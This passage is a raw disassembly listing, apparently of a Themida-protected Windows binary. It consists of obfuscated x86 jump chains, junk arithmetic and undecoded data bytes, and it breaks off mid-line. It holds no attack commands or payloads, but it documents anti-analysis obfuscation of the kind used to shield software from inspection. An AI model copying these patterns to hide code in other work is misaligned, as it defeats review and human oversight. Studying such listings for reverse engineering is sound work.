XREF: Themida_:005062AEj xor edx, eax jmp loc_5038A8 ; --------------------------------------------------------------------------- db 55h dd 0DBE0B2BDh, 5DEF01F3h, 39E9FD31h, 89FFFFC7h, 8C37E9E2h dd 15CFFFFh, 14335BDAh, 24143124h, 8B241433h, 0BFE92424h dd 81FFFF80h, 573363C5h, 8BEB0133h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi jmp loc_504130 ; --------------------------------------------------------------------------- loc_50AAD3: ; CODE XREF: Themida_:0050C7ECj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_50CA3B push 33E3h mov [esp], ecx mov ecx, 28h sub esp, 4 jmp loc_507496 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4EE81h, 5BE90000h, 83FFFFD7h, 348904ECh, 3859E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50AB1E: ; CODE XREF: Themida_:0050B921j pop eax jmp loc_50DF43 ; --------------------------------------------------------------------------- loc_50AB24: ; CODE XREF: Themida_:0050D822j add ebp, 4 xchg ebp, [esp] pop esp push edi push esp jmp loc_505D13 ; --------------------------------------------------------------------------- loc_50AB35: ; CODE XREF: Themida_:0050C70Cj push esi mov esi, esp push ecx jmp loc_50F1B6 ; --------------------------------------------------------------------------- dw 8759h dd 0E95C2414h, 42D6h ; --------------------------------------------------------------------------- loc_50AB48: ; CODE XREF: Themida_:00503DDDj push dword ptr [esp] pop esi add esp, 4 mov ebx, edx pop edx and [edi+1Ch], ebx pop ebx jmp loc_509239 ; --------------------------------------------------------------------------- loc_50AB5E: ; CODE XREF: Themida_:00505E9Dj add ebx, ebp pop ebp add ebx, 2 jmp loc_50995B ; --------------------------------------------------------------------------- loc_50AB6C: ; CODE XREF: Themida_:0050D406j sub edx, 0F73E6BC8h add ecx, 69C1378h sub ecx, 4F9950D3h sub ecx, edx add ecx, 4F9950D3h jmp loc_50969B ; --------------------------------------------------------------------------- db 83h dd 69E904C4h, 2DFFFF8Ch, 8462B3DFh, 0FF244721h, 50582434h dd 0BA52E089h, 1E1D3BF4h, 0A05EE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50ABAE: ; CODE XREF: Themida_:00509B0Aj push ecx mov ecx, 5E035DB8h shr ecx, 3 not ecx inc ecx or ecx, 0CE5192Bh jmp loc_50D3A7 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 45EA68h, 24048900h, 85068h, 24248900h, 4240481h dd 0FF000000h, 0E9582434h, 43EAh, 8322E951h, 8B66FFFFh dd 0C483241Ch, 9686602h, 1489667Ah, 0A8686624h, 1C896606h dd 0E57DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AC0E: ; CODE XREF: Themida_:0050CFBEj mov ecx, 1DBD5EE2h shl ecx, 5 jmp loc_503583 ; --------------------------------------------------------------------------- db 5Ch dd offset dword_450050+11F99h dd 24148900h, 4B38DEBAh, 0D062BB13h, 0D301F8A2h, 3CEB815Ah dd 0E90BEE09h, 0FFFF9D94h, 4BD55h, 6C010000h, 0E95D0424h dd 0C22h, 33241431h, 7BE92414h, 0BFFFFF81h, 5CB804EFh dd 8FE9DFF7h, 68FFFFABh, 237Fh, 0BE243489h, 4, 348BF501h dd 0E2895224h, 6266B850h, 8D2D204Dh, 530C848h, 7A1653F5h dd 9B6DCA2Dh, 58C20169h, 4C281h, 14870000h, 0A8685C24h dd 89000054h, 74FF242Ch, 2EE90424h, 81000035h, 4C2h, 2E82E900h dd 8B660000h, 89522404h, 4C281E2h, 83000000h, 148704EAh dd 3A17E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50ACCE: ; CODE XREF: Themida_:0050D7F0j mov eax, esp push edi jmp loc_504D75 ; --------------------------------------------------------------------------- dw 0AB8h dd 8927BF1Bh, 0F28158C2h, 1A781C27h, 0F362EA81h, 0D329049Fh dd 87C3815Ah, 2952FA13h, 2C8B5BD8h, 4C48324h, 0FFBE69E9h dd 58E328FFh, 0E9EBB551h, 838h, 2132C581h, 0AE9A472h, 0E9FFFFBFh dd 0FFFF7E52h ; --------------------------------------------------------------------------- loc_50AD1C: ; CODE XREF: Themida_:0050DC5Cj push 567Eh mov [esp], edx jmp loc_5087AC ; --------------------------------------------------------------------------- db 0BEh, 0FBh, 0Ah dd 0E9532E88h, 0FFFF97BBh ; --------------------------------------------------------------------------- loc_50AD34: ; CODE XREF: Themida_:00503C62j push 4FD851A4h pop edx sub edx, 1 jmp loc_509803 ; --------------------------------------------------------------------------- db 1, 0F2h, 81h dd 9E7142C2h, 0D6BF5769h, 0E9444727h, 0FFFFD8CDh, 0B5E95059h dd 33000006h, 33E92414h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50AD67: ; CODE XREF: Themida_:0050F1A4j add esi, 0B3A6FC8Dh mov ebp, esi push dword ptr [esp] jmp loc_505B90 ; --------------------------------------------------------------------------- loc_50AD77: ; CODE XREF: Themida_:00502ED1j xchg esi, [esp] pop esp add ebx, edx jmp loc_503973 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BB241C89h, 3B0C50DEh, 24048B53h, 0E9E68956h, 0FFFF7EB5h ; --------------------------------------------------------------------------- loc_50AD9C: ; CODE XREF: Themida_:00503FA1j add ebx, 0E00B75h add ebx, esi sub ebx, 0E00B75h pop esi jmp loc_50C7F1 ; --------------------------------------------------------------------------- dd 5DE9C801h, 89FFFFA5h, 4EB42404h, 0CC80D4F6h, 0F6C4FE91h dd 0E771E9DCh, 5359FFFFh, 0DBF616B3h, 0C07DC380h, 0EB8006EBh dd 5BD828B9h, 4804D800h, 61E96404h, 0AD000032h, 0E9D831h dd 89000032h, 53562424h, 0A32454BBh, 2458BE14h, 0DE2914A3h dd 2474015Bh, 34FF5E04h, 0E9535D24h, 348Eh ; --------------------------------------------------------------------------- loc_50AE10: ; CODE XREF: Themida_:00502C02j jmp loc_50D5E9 ; --------------------------------------------------------------------------- loc_50AE15: ; CODE XREF: Themida_:0050BE2Cj not eax jmp loc_50964C ; --------------------------------------------------------------------------- loc_50AE1C: ; CODE XREF: Themida_:0050596Dj pop esp jmp loc_50BBE6 ; --------------------------------------------------------------------------- loc_50AE22: ; CODE XREF: Themida_:005051D8j shl ebx, 7 sub ebx, 7E4D152Eh sub ebx, 53076F1Dh sub ebx, 1CB47C67h push eax jmp loc_508FB0 ; --------------------------------------------------------------------------- loc_50AE3D: ; CODE XREF: Themida_:005060E4j sub esp, 4 jmp loc_509F62 ; --------------------------------------------------------------------------- dd 4C481h, 0EB810000h, 134405C5h, 2139EB81h, 0C3011B26h dd 129DB951h, 72E91C4Bh, 5200003Ch, 0ECE914B6h, 68FFFFBCh dd 189Ch, 89243C89h, 4C781E7h, 81000000h, 2C7h, 243C8700h dd 0F381665Ch, 56668610h, 675ABE66h, 66F02966h, 0E747E95Eh dd 0E957FFFFh, 0FFFFCFDCh, 0F7DAED81h, 0EA89A011h, 2454015Dh dd 7E95A04h, 5B000029h, 6C62B951h, 0BE565D3Eh, 19C73606h dd 0E95EF101h, 15B3h, 0CEE9E788h, 8B000009h, 44E92404h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AEDB: ; CODE XREF: Themida_:0050A577j pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push ebx jmp loc_507C54 ; --------------------------------------------------------------------------- db 56h dd 417242BEh, 90C68120h, 0E9381671h, 0FFFFC239h, 58C3285Ah dd 0D2EB80h, 0D2C380C3h, 8074B050h, 0C380E6EBh, 0B5F9E9CAh dd 0C481FFFFh, 4, 66C0B60Fh, 0E987048Fh, 0FFFF7C46h ; --------------------------------------------------------------------------- loc_50AF28: ; CODE XREF: Themida_:005070D7j movzx eax, al push dword ptr [edi+eax*4] jmp loc_507065 ; --------------------------------------------------------------------------- db 59h dd 0E924048Fh, 0D9Dh, 58592888h, 7C28E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AF46: ; CODE XREF: Themida_:0050912Fj pop eax pop dword ptr [esp] pop esp jmp loc_508DF8 ; --------------------------------------------------------------------------- loc_50AF50: ; CODE XREF: Themida_:0050B08Ej pop edi add edi, 43D77F2Ch shr edi, 6 xor edi, 175BD1C9h jmp loc_50E3CF ; --------------------------------------------------------------------------- loc_50AF65: ; CODE XREF: Themida_:0050EBA4j add edi, 4 push ebp jmp loc_50646C ; --------------------------------------------------------------------------- db 89h, 0FEh, 5Fh dd 81242C8Bh, 4C4h, 0E9505600h, 0FFFFF7A4h, 21252DADh dd 0D8012803h, 31A7E951h, 0CA800000h, 8E2C0A7h, 0F608EAC0h dd 2EAC0DAh, 0FF7E20E9h, 4C181FFh, 0E9000000h, 104Ch, 240C8B66h dd 35EA68h, 24048900h, 405E089h, 2D000000h, 4, 1E00E9h db 0 ; --------------------------------------------------------------------------- loc_50AFCD: ; CODE XREF: Themida_:0050BB25j jmp loc_502B6E ; --------------------------------------------------------------------------- dw 3058h dd 0FC18E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AFDA: ; CODE XREF: Themida_:0050EF59j add eax, ebp pop ebp add eax, 5742456Bh jmp loc_50C596 ; --------------------------------------------------------------------------- db 81h dd 0F46F20E9h, 0F9ECE937h, 0FEB9FFFFh, 0F70A663Eh, 0E9D187D9h dd 26EAh, 4240481h, 5F000000h, 0FFE682E9h, 4EC81FFh, 89000000h dd 49E9241Ch, 5FFFF86h, 2F081D49h, 0BB53F801h, 2A781221h dd 0FF9DF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B02D: ; CODE XREF: Themida_:00509EF1j xor bl, cl jmp loc_509410 ; --------------------------------------------------------------------------- dd 32536856h, 535E1043h, 0FF8A0AE9h, 242C87FFh, 8924248Bh dd 96BD242Ch, 3122956Dh, 31EF31FDh, 0D0F797FDh, 52FD8797h dd 0F733BBBAh, 5AD53150h, 0C108EDC1h, 0BA5206E5h, 4A854DC4h dd 0DAF7D2F7h, 11B2E281h, 2E951D5h, 51FFFF96h, 0E9533CB5h dd 0FFFF9B17h ; --------------------------------------------------------------------------- loc_50B088: ; CODE XREF: Themida_:0050744Aj push edi push 0E25302Bh jmp loc_50AF50 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 24048B24h, 8304C483h, 0FFE904C4h, 29FFFF84h dd 3E981D1h, 5A61EE7Dh, 0BF57C101h, 6D8569DEh, 3C8BF901h dd 4C48124h, 68000000h, 7C59h, 88241C89h, 0B850D7h, 0E9000000h dd 0FFFF8B75h, 0D0199DB9h, 59C82942h, 56E9C789h, 47FFFFF5h dd 368AF781h, 6E9381Ch, 66FFFFB8h, 0E924048Bh, 0FFFFCAACh dd 0C108EEC1h, 0DEF705E6h, 57AFB951h, 0CE091493h, 0EE814E59h dd 0C6DC4F80h, 116AF681h, 0EEC111C8h, 0DF60E908h, 0D588FFFFh dd 2434FF5Ah, 0FFCEEDE9h db 0FFh ; --------------------------------------------------------------------------- loc_50B12D: ; CODE XREF: Themida_:00506161j shl edx, 1 push ebp jmp loc_503FC6 ; --------------------------------------------------------------------------- loc_50B135: ; CODE XREF: Themida_:0050A3D7j push dword ptr [esp] pop edx add esp, 4 jmp loc_50C9C0 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 0BC685200h, 0E900006Bh, 0FFFFEEC6h dd 8168C80Fh, 89000015h, 7E92404h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B167: ; CODE XREF: Themida_:0050F2BCj mov edx, [esp] jmp loc_504447 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 22CAE9h, 28F6600h, 0FFF5D2E9h, 241431FFh dd 0FFFBD2E9h, 0F5815EFFh, 9AA2D30h, 8104EDC1h, 8A3540F5h dd 0E9E88942h, 3D6Eh ; --------------------------------------------------------------------------- loc_50B1A4: ; CODE XREF: Themida_:0050BDD3j mov dh, 0B8h dec dh sub dh, 0C3h neg dh xchg ch, dh xchg bl, ch neg bl xchg bl, ch xor dh, ch xor ch, dh xor dh, ch jmp loc_50C6E2 ; --------------------------------------------------------------------------- loc_50B1C0: ; CODE XREF: Themida_:00503509j pop esp jmp loc_5076F9 ; --------------------------------------------------------------------------- loc_50B1C6: ; CODE XREF: Themida_:005046E6j sub edx, 4 jmp loc_50735A ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 17BCBA52h, 19BD6168h, 29DAD2A9h, 24148BD5h, 4C481h dd 26E90000h, 0BDFFFF7Ch, 45235B7h, 5F5DEA29h, 0ADE9C201h dd 0BE000027h, 679A1F14h, 555EF201h, 212AC5BDh, 1BED8166h dd 8108BD15h, 6074BCCDh, 72C5811Eh, 0C1272F44h, 0A8E902EDh dd 66FFFFE3h, 6672BA68h, 66241489h, 37E99C50h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B237: ; CODE XREF: Themida_:00505D0Ej mov ebx, edx pop edx jmp loc_50B307 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 0AEE9C801h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B24F: ; CODE XREF: Themida_:00503701j pop esi jmp loc_50CCCB ; --------------------------------------------------------------------------- db 0ADh, 31h, 0D8h dd 8904EC83h, 81572434h, 4ECh, 380AE900h, 0C6810000h, 2 dd 31243433h, 34332434h, 0F665C24h, 9C2404ABh, 5E4E9h dd 0B3536600h, 66DE20CEh, 0E9241C8Bh, 0FFFFAE94h, 4240483h dd 8124348Bh, 4C4h, 0A7DDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B2A6: ; CODE XREF: Themida_:0050D0A5j mov ebp, ecx pop ecx push dword ptr [esp] pop edx add esp, 4 push ebp add dword ptr [esp], 2AC6122Dh jmp loc_508C8A ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 1000000h, 8B04247Ch, 0C483243Ch, 789CE904h, 4401FFFFh dd 33E90424h, 68FFFF7Ch, 4EE2h, 0B1240C89h, 66D9F666h dd 20B1B050h, 48B66C1h, 2C48124h, 0C0000000h, 0D9F602E9h dd 8008C180h, 6E978E9h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B307: ; CODE XREF: Themida_:0050B23Aj push ecx push edx jmp loc_50CA0F ; --------------------------------------------------------------------------- dw 8966h dd 0B4B3241Ch, 0E907EBC0h, 0FFFFD0C7h, 74F78147h, 1F78F8Bh dd 82685FFBh, 89000071h, 55512414h, 512311BDh, 7A98B930h dd 0E9296417h, 59CA895Dh, 0D0E9D2F7h, 30FFFFC7h, 241C8BF8h dd 6AE95455h, 81FFFFD4h, 0E17794C6h, 0E4BB5342h, 0C1777763h dd 0D3F706EBh, 0E902E3C1h, 0FFFF9FBBh ; --------------------------------------------------------------------------- loc_50B36C: ; CODE XREF: Themida_:0050E924j pop dword ptr [esp] jmp loc_505C87 ; --------------------------------------------------------------------------- dd 815BD901h, 0AA6D2CC1h, 15C98121h, 812DF00Eh, 274E16F1h dd 1CB0E9E5h, 0C2810000h, 4, 3302EA83h, 14312414h, 24143324h dd 0C89665Ch, 2ADBE924h, 478F0000h, 77BCE940h, 0DAF7FFFFh dd 8104E2C1h, 754614C2h, 8496E923h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B3C2: ; CODE XREF: Themida_:0050DFE0j mov edx, esp push ecx mov ecx, 52C05225h jmp loc_506417 ; --------------------------------------------------------------------------- db 30h dd 57E959C8h, 0FFFFFFACh, 0B7E92434h, 0B8FFFF79h, 2, 602BC281h dd 0C20111FAh, 602BEA81h, 34FF11FAh, 0B35EE924h, 8143FFFFh dd 0D10F9AC3h, 6EBC161h, 84B6F381h, 8955184Dh, 0E9EF89DDh dd 22D0h, 0C3288EB0h, 582434FFh, 5E08950h, 4, 0E904C083h dd 0FFFFA5E1h, 15FF889h, 8AE958C5h, 0B800002Ah, 19D0022Bh dd 7E7A2F35h, 75BD2D59h, 3AE90369h, 0FFFFFFB0h, 5F042474h dd 5C24048Fh, 2DEC68h, 241C8900h, 479E68h, 0AA75E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B466: ; CODE XREF: Themida_:0050EA30j push 143Bh mov [esp], ebp jmp loc_50565B ; --------------------------------------------------------------------------- db 59h dd 31241433h, 14332414h, 24248B24h, 24048966h, 0FF76E5E9h dd 83EA81FFh, 1056969h, 0BB535AD1h, 424570F6h, 0E903E3C1h dd 0FFFF9A01h ; --------------------------------------------------------------------------- loc_50B4A0: ; CODE XREF: Themida_:00503301j sub ecx, eax pop eax xchg ecx, [esp] pop esp mov [esp], esi mov esi, 2B2B32B1h push eax push 22C672EDh pop eax shl eax, 3 dec eax xor eax, 3D18A5D5h mov ecx, eax pop eax jmp loc_506B9E ; --------------------------------------------------------------------------- db 87h dd 665C2414h, 9C2404FFh, 0FF7699E9h, 0FF5452FFh, 815A2434h dd 4C4h, 4C28100h, 55000000h, 81E68956h, 4C6h, 0C104E900h dd 1C89FFFFh, 4EC8124h, 89000000h, 0B8502424h, 4, 0FFFDC5E9h dd 55B7FFh, 0EE805BFEh, 5AF52083h, 5227ED80h, 2F95E9h dd 0CE68AC00h, 89000041h, 0BDE9240Ch, 8B00000Ah, 37E92424h dd 8BFFFF76h, 0D3662424h, 0E99C242Ch, 0FFFF762Ah, 0C002E580h dd 0CDFE03E5h, 80AEE580h, 0C58054E5h, 906DE964h, 8B66FFFFh dd 7D682404h, 8900001Bh, 0B9682414h, 89000073h, 0E9562424h dd 47h, 2BDh, 8BEB0100h, 0C483242Ch, 28F7E904h, 59660000h dd 8B2434FFh, 0C483241Ch, 59545104h, 0FF9F80E9h, 0E9CA01FFh dd 0FFFFF59Eh, 3927F8BBh, 1AE38142h, 0F748ED20h, 0DBF74BDBh dd 7338F381h, 0BEE93991h, 0BEFFFFAAh, 4, 4247401h, 0BF575A5Eh dd 4, 505FFA01h, 79268h, 241C8900h, 0FFEF66E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B5DD: ; CODE XREF: Themida_:0050EE13j add ecx, 0E3FBB5A4h jmp loc_50CD58 ; --------------------------------------------------------------------------- dd 0FF7581E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B5ED: ; CODE XREF: Themida_:00503C0Aj sub esp, 4 mov [esp], esi push 10FAh mov [esp], ebp push 5FA47BA6h mov ebp, [esp] add esp, 4 neg ebp xor ebp, 0E4F48624h mov esi, ebp pop ebp xor [esp+4], esi jmp loc_507F55 ; --------------------------------------------------------------------------- dw 62BEh dd 555EA273h, 0F85B47BDh, 5DEE310Fh, 0FFD8FDE9h, 0E38953FFh dd 0FFE35DE9h, 240C87FFh, 0FF9380E9h, 0F2815EFFh, 4B75290Fh dd 55AD001h, 2, 31240433h, 4332404h, 0B2E6E924h, 3C89FFFFh dd 0FDE9E924h, 0E95AFFFFh, 0FFFFE6A7h, 0E9241C89h, 0FFFFD566h ; --------------------------------------------------------------------------- loc_50B670: ; CODE XREF: Themida_:00506EFCj add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], edx mov edx, ebx push 2429h jmp loc_507488 ; --------------------------------------------------------------------------- db 66h dd 0D7E99C51h, 89FFFF74h, 0CFE92404h, 83FFFF74h, 11E904ECh dd 41FFFF98h, 0DE9AC181h, 0CF898C92h, 9FF78159h, 8131592Dh dd 0DE5B28C5h, 0EEDE931h, 0A7E90000h, 66FFFF74h, 2339EA81h dd 2EAC166h, 2ED2E9h, 81D50100h, 7E6A43C5h, 2C875A77h dd 24248B24h, 582434FFh, 0E904EC83h, 0FFFFFE06h, 4C281h dd 0EA810000h, 4, 5C241487h, 0BA241489h, 3F483634h, 0E95AD131h dd 0FFFFC4B1h, 657568h, 242C8900h, 0B8505D54h, 4, 1DE9C501h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B727: ; CODE XREF: Themida_:005084BDj mov ebx, 0BB51AB9h mov esi, ebx mov ebx, [esp] jmp loc_50D6BC ; --------------------------------------------------------------------------- dw 2C89h dd 2414F724h, 4FE9555Dh, 66FFFFC5h, 50241C89h, 0FFFB8EE9h dd 2414F7FFh, 1CF7575Fh, 0F7815F24h, 101E5B64h, 56ADC181h dd 0F9294002h, 56ADE981h, 0B4E94002h, 6600002Dh, 74E9D089h dd 0AC00000Ah, 5C047004h, 0D4E9D800h, 0ACFFFFDDh, 638D6866h dd 24148966h, 0D02811B2h, 53515A66h, 95B5ABB7h, 665BFD28h dd 2885B753h, 91D1E9FDh, 0EA81FFFFh, 64B10DE9h, 0C281CA01h dd 64B10DE9h, 2F75C281h, 50597F86h, 0FFE4C1E9h, 5AD388FFh dd 0E9D98851h, 0FFFFA2E4h, 0C2DDE950h, 0C780FFFFh, 0C00CE95Ah dd 815BFFFFh, 7F0819EAh, 0B59BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B7E6: ; CODE XREF: Themida_:0050D61Cj push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], ebp not dword ptr [esp] pop ebp dec ebp xor ebp, 83C4BE04h push ebp add dword ptr [esp], 9950616h pop ecx sub ecx, 9950616h pop ebp add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_509194 ; --------------------------------------------------------------------------- db 5Ch dd 52CE9h, 0E1C15900h, 0B36E902h, 4BF0000h, 89000000h dd 243C8BFDh, 0FFDC95E9h, 4BC180FFh, 0C004E1C0h, 0F18006E1h dd 0FB81E97Ah, 0EE81FFFFh, 6DB538BFh, 882EE81h, 0C6296DF2h dd 39E5E9h, 24048F00h, 0FFB0E4E9h, 7300E9FFh, 48BFFFFh dd 4C48124h, 5000000h, 4, 4EC81h, 34890000h, 2BE24h, 0F0010000h dd 2404335Eh, 33240431h, 248B2404h, 0F9F76624h, 2E4EE9h dd 5BE95800h, 29000029h, 0EF9AE9CBh, 505BFFFFh, 42474FFh dd 0FFAA3AE9h, 3CA80FFh, 0FFC1A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B8C1: ; CODE XREF: Themida_:00507995j push 40h jmp loc_503A5D ; --------------------------------------------------------------------------- loc_50B8CB: ; CODE XREF: Themida_:0050BFD9j mov esp, [esp] push eax push esi mov esi, 4E2502Ah jmp loc_5088ED ; --------------------------------------------------------------------------- dw 0E950h dd 36Ah, 4C281h, 0C4E90000h, 81000028h, 2231ECF3h, 9BB2E936h dd 0CD81FFFFh, 153C2BBBh, 7B83E957h, 48BFFFFh, 6EE95124h dd 29000000h, 0C2815BDAh, 2DFB1D8Bh, 333CE9h db 0 ; --------------------------------------------------------------------------- loc_50B919: ; CODE XREF: Themida_:005039D2j push eax mov eax, 76022ED7h xor ebp, eax jmp loc_50AB1E ; --------------------------------------------------------------------------- loc_50B926: ; CODE XREF: Themida_:0050E497j mov edx, esi pop esi jmp loc_505D41 ; --------------------------------------------------------------------------- dw 0E6C1h dd 0B9F68108h, 2D79F038h, 0FB91F0Fh, 0F05F001h, 5E0FB91Fh dd 4EC81h, 1C890000h, 4EC8324h, 68243C89h, 73724FFBh, 0E957555Fh dd 0FFFF9F9Eh, 7E2C142h, 67A8C281h, 74E943ECh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B96F: ; CODE XREF: Themida_:00505D46j add eax, 4AB1875h jmp loc_5099BD ; --------------------------------------------------------------------------- db 54h, 0E9h, 1Bh dd 68FFFF99h, 0 dd 5F243C29h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 20BA2414h, 297B6211h, 24148BD7h, 0FF8C8AE9h, 0C8B66FFh dd 0DD9FE924h, 0EEC1FFFFh, 0E6814E03h, 108030E4h, 0FFEC3AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50B9C5: ; CODE XREF: Themida_:0050358Fj add ecx, 0B397F74h inc ecx xor ecx, 3B3B8371h add ebx, ecx pop ecx jmp loc_50D454 ; --------------------------------------------------------------------------- dw 2404h dd 0D828ED04h, 242CED2Ch, 2C06B551h, 2C39048Eh, 4E828D6h dd 0B55166D6h, 66E82839h, 10BFE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B9FE: ; CODE XREF: Themida_:0050A17Cj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx jmp loc_508A49 ; --------------------------------------------------------------------------- loc_50BA13: ; CODE XREF: Themida_:0050C909j add ecx, eax jmp loc_50DA10 ; --------------------------------------------------------------------------- dw 48Fh dd 48F5C24h, 24248B24h, 0E9028864h, 0FFFF7142h ; --------------------------------------------------------------------------- loc_50BA2C: ; CODE XREF: Themida_:00504A45j mov esp, [esp] push 6724h mov [esp], ebx jmp loc_503F85 ; --------------------------------------------------------------------------- loc_50BA3C: ; CODE XREF: Themida_:0050A000j mov [esp], eax jmp loc_50F2AB ; --------------------------------------------------------------------------- loc_50BA44: ; CODE XREF: Themida_:00507C5Cj push ebp mov ebp, 4 sub ebx, ebp pop ebp xchg ebx, [esp] mov esp, [esp] mov [esp], ebx push edi push ebp mov ebp, 72CF4498h shl ebp, 7 xor ebp, 985DB3FFh mov edi, ebp pop ebp push esi mov esi, edi jmp loc_50D081 ; --------------------------------------------------------------------------- aHO_0 db ']hÅo',0 dw 8900h dd 89E9243Ch, 0BFFFFFB6h, 68964108h, 0FF5FF929h, 0E95E2434h dd 0FFFF7E77h, 4BEh, 69C78100h, 1750301h, 69EF81F7h, 5E750301h dd 6D49BA52h, 684215E3h, 0 dd 5A241429h, 8103E2C1h, 0DA4194CAh, 0D9CE916h, 0D8010000h dd 0FFE212E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BAC9: ; CODE XREF: Themida_:0050DD99j push eax push ebx mov ebx, 7BEE5537h jmp loc_50453C ; --------------------------------------------------------------------------- db 50h, 0B8h, 0A6h dd 2D40570Fh, 38ECA037h, 0ECE9C721h, 5AFFFFF3h, 5C241C87h dd 0C281C331h, 0C035D02h, 0E768C229h, 8900004Fh, 2B9240Ch dd 290C035Dh, 240C8BCAh, 5E08950h, 4, 0DE58E953h, 0C181FFFFh dd 376D6441h, 8C1CE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BB22: ; CODE XREF: Themida_:00503342j push small word ptr [eax] jmp loc_50AFCD ; --------------------------------------------------------------------------- dw 0C380h dd 0BA38E9F7h, 489FFFFh, 0E9D1B024h, 0FFFF818Dh ; --------------------------------------------------------------------------- loc_50BB3C: ; CODE XREF: Themida_:005056CFj pop ecx pop eax jmp loc_50D0C0 ; --------------------------------------------------------------------------- db 0ADh dd 207F83h, 72F9840Fh, 0C681FFFFh, 5A666EBDh, 5335BF57h dd 0FE2978E2h, 81243C8Bh, 4C4h, 0CBC68100h, 16EA21Ch, 0F0B951C6h dd 810DBF15h, 9C19D2E1h, 2FF18178h, 8177FA3Fh, 3BEDCCC1h dd 0E9CE29EFh, 0FFFFDCFBh, 0C42A32BBh, 20F3814Ah, 0D123D02Bh dd 7FCB81EBh, 0F727B004h, 0B8A9E9DBh, 0C481FFFFh, 4, 13C068h dd 240C8900h, 0BD86853h, 34890000h, 602A6824h, 815E2D8Eh dd 31F047EEh, 4EC83B3h, 56240C89h, 7690E959h, 7EBEFFFFh dd 81488646h, 2A4E0BF6h, 6F9BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BBE6: ; CODE XREF: Themida_:0050AE1Dj push 1E17h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp shr eax, 12h xor eax, ecx jmp loc_507847 ; --------------------------------------------------------------------------- db 0B4h dd 0E9CCFECFh, 15BEh ; --------------------------------------------------------------------------- loc_50BC10: ; CODE XREF: Themida_:00509B6Fj add esi, 0D07BBFDh push esi add dword ptr [esp], 1E4B7B4Dh mov ebp, [esp] add esp, 4 sub ebp, 1E4B7B4Dh mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_506159 ; --------------------------------------------------------------------------- dd 6F24E958h, 0CC88FFFFh, 0FFF27BE9h, 0C22D66FFh, 0C1016690h dd 0C1816658h, 5166199Fh, 242C8166h, 5D660807h, 2A09E9h dd 0C6835D00h, 24348702h, 0BB0F665Ch, 0E99C2404h, 0FFFF6EEEh dd 0E9DDF758h, 2E49h ; --------------------------------------------------------------------------- loc_50BC88: ; CODE XREF: Themida_:0050E1BCj pop ebp sub esi, 0E6AB1960h jmp loc_507537 ; --------------------------------------------------------------------------- dd 4C481h, 0EC830000h, 24048904h, 4B8h, 58C30100h, 51E68956h dd 4B9h, 59CE0100h, 4EE81h, 34870000h, 0C895C24h, 2B924h dd 0CB010000h, 1490E959h, 4F090000h, 240C8B1Ch, 0FF7E43E9h dd 29665CFFh, 0E99C2404h, 0FFFF6E8Ah, 0E4ABB53h, 0BE561EDEh dd 199D6801h, 4873CE81h, 0E6815E52h, 26C12B3Dh, 0ED17E946h dd 3368FFFFh, 89000004h, 74FF2404h, 48B0424h, 8D3FE924h dd 30FFFFFFh, 0FF6E51E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BD1D: ; CODE XREF: Themida_:0050EC50j sub bl, dl pop edx push small 7085h mov [esp], ax jmp loc_50A112 ; --------------------------------------------------------------------------- db 81h, 0C3h, 97h dd 89C01121h, 0CF015BD9h, 5FF82959h, 0FF6E2DE9h, 48759FFh dd 0F665C24h, 9C2404B3h, 0FF6E1DE9h, 4C483FFh, 13E930FFh dd 83FFFF6Eh, 1C8704C3h, 71685C24h, 8900001Ah, 0E0892404h dd 0FFC2C1E9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h, 0FFFF6DEEh dd 0C181E189h, 4, 4BD55h, 0E9010000h, 